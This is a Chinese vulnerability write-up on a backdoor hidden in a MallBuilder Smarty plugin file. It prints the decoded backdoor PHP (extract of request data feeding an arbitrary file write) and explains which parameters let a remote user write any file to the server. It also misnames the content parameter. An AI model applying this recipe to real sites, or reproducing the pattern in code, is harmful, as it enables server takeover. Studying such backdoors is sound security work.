0x01 前言
这次复现的是 MallBuilder 的一个逻辑后门
0x02 过程
该漏洞位于 lib/smarty/plugins/function.php , 如果变量 $codelock_file 不为空则会调用 base64_decode 对字符串进行解码
解密后的主要代码如下
<?php
$codelock_active_key = "loveb2bbuilder";
@extract($_REQUEST);
error_reporting(E_ALL ^ E_NOTICE);
if ($codelock_act >= 1) {
} else {
@set_time_limit(240);
}
if ($codelock_enc == "") {
$codelock_enc = "codelock.php";
} else {
}
if ($codelock_act >= 1) {
$codelock_testsize = @filesize($codelock_filed / $codelock_enc);
if ($codelock_testsize != $codelock_mastersize) {
@chmod("$codelock_filed/$codelock_enc", 0777);
if (@copy("$codelock_rfiled/$codelock_enc", "$codelock_filed/$codelock_enc")) {
} else {
$codelock_fp2 = @fopen("$codelock_filed/$codelock_enc", "wb");
if ($codelock_fp2) {
} else {
@unlink($codelock_filed / $codelock_enc);
$codelock_fp2 = @fopen("$codelock_filed/$codelock_enc", "wb");
}
if ($codelock_fp2) {
@fwrite($codelock_fp2, $codelock_masterdata);
@fclose($codelock_fp2);
}
}
@chmod("$codelock_enc", 0777);
}
} else {
}
第一眼看去,就是第二行的 @extract 函数。不恰当使用extract()函数通常会导致变量覆盖漏洞,这里正是将用户提交的REQUEST数据全部注册成变量,如果这行代码之后的变量代码未对其赋值,那么这些变量全都可以由用户来操控。
在第13行的if语句中,如果参数 $codelock_act 大于1就会进入该流程。我们需要进入第18行的else语句,所以参数 $codelock_rfiled 不需要设置。再来看看19行的代码,我们可以控制 $codelock_filed $codelock_enc参数。我们可以将参数 $codelock_filed设置为 . $codelock_enc设置为你需要保存的文件名。最后就是设置参数 $codelock_mastersize为任意值,还有就是写入的内容的参数 $codelock_fp2